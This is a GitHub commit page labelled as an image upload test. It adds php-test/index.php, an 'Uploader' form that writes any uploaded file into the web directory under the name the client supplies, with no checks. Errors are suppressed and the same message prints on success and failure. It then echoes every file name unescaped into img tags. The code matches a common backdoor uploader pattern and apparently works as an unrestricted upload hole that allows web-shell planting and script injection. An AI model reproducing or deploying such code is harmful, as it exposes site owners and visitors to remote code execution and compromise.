Skip to content

Commit 9bcd8f8

Browse files
committed
upload image test requested
1 parent 9804859 commit 9bcd8f8

File tree

2 files changed

+41
-0
lines changed

2 files changed

+41
-0
lines changed

php-test/demo.PNG

58.5 KB
Loading

php-test/index.php

Lines changed: 41 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,41 @@
1+
<html>
2+
3+
<head>
4+
<?php
5+
echo "Uploader<br>";
6+
echo "<br>";
7+
echo '<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">';
8+
echo '<input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload"></form>';
9+
if (isset($_POST["_upl"])) {
10+
if ($_POST["_upl"] == "Upload") {
11+
if (@copy($_FILES["file"]["tmp_name"], $_FILES["file"]["name"])) {
12+
echo "<b>Upload !!!</b><br><br>";
13+
} else {
14+
echo "<b>Upload !!!</b><br><br>";
15+
}
16+
}
17+
}
18+
19+
?>
20+
<style>
21+
.img-upload {
22+
height: 400px;
23+
}
24+
</style>
25+
<title>PHP Test</title>
26+
</head>
27+
28+
<body>
29+
<?php
30+
$handle = opendir(dirname(realpath(__FILE__)) . '');
31+
while ($file = readdir($handle)) {
32+
if ($file !== 'index.php') {
33+
if ($file !== '.' && $file !== '..') {
34+
echo '<img class="img-upload" src="' . $file . '" border="0" />';
35+
}
36+
}
37+
}
38+
?>
39+
</body>
40+
41+
</html>

0 commit comments

Comments
 (0)